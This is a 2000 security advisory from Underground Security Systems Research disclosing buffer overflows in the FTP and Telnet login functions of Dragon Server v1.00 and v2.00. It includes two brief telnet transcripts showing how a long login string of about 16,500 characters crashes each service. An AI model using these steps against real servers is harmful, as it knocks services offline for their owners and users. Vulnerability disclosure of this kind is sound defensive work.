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USSR Advisory Code: USSR-2000046
Release Date:
June 16, 2000
Systems Affected:
Dragon Server v2.00
Dragon Server v1.00
THE PROBLEM
The Ussr Labs team has recently discovered a null memory problem in the Dragon Server,
Ussr Labs found multiple places in Dragon Server where they do not use proper bounds checking.
The following all result in a Denial of Service against the service in question.
SPECIAL NOTE: That we take no responsibility for this code it is for educational purposes only.
Example:
The Ftp Server (Port 21) service has a overflow in the login function.
[hellme@die-communitech.net$ telnet example.com 21
Trying example.com...
Connected to example.com.
Escape character is '^]'.
220 Dragon Server v2.0, ready.
USER [buffer]
Where [buffer] is aprox. 16500 characters.
and the process containg the service crash
Example 2:
The Telnet Server (Port 23) service has a overflow in the login function.
[hellme@die-communitech.net$ telnet example.com
Trying example.com...
Connected to example.com.
Escape character is '^]'.
Dragon Server v2.0, ready.
Login: [buffer]
Where [buffer] is aprox. 16500 characters.
and the process containg the service crash
Vendor Status:
Informed!
Vendor Url: http://www.shadowopsoftware.com/
Program Url: http://www.shadowopsoftware.com/ds-index.html
Related Links:
Underground Security Systems Research
http://www.ussrback.com
Greetings:
Eeye, Attrition, w00w00, beavuh, Rhino9, SecurityFocus.com, ADM, HNN, Technotronic and Wiretrip.
Copyright (c) 1999-2000 Underground Security Systems Research.
Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited
in any way without express consent of Ussr. If you wish to reprint the whole or any part of this alert in
any other medium excluding electronic medium, please e-mail labs@ussrback.com for permission.
Disclaimer:
The information within this paper may change without notice. Use of this information constitutes
acceptance for use in an AS IS condition. There are NO warranties with regard to this information.
In no event shall the author be liable for any damages whatsoever arising out of or in connection
with the use or spread of this information. Any use of this information is at the user's own risk.
Feedback:
Please send suggestions, updates, and comments to:
Underground Security Systems Research
mail:labs@ussrback.com
http://www.ussrback.com
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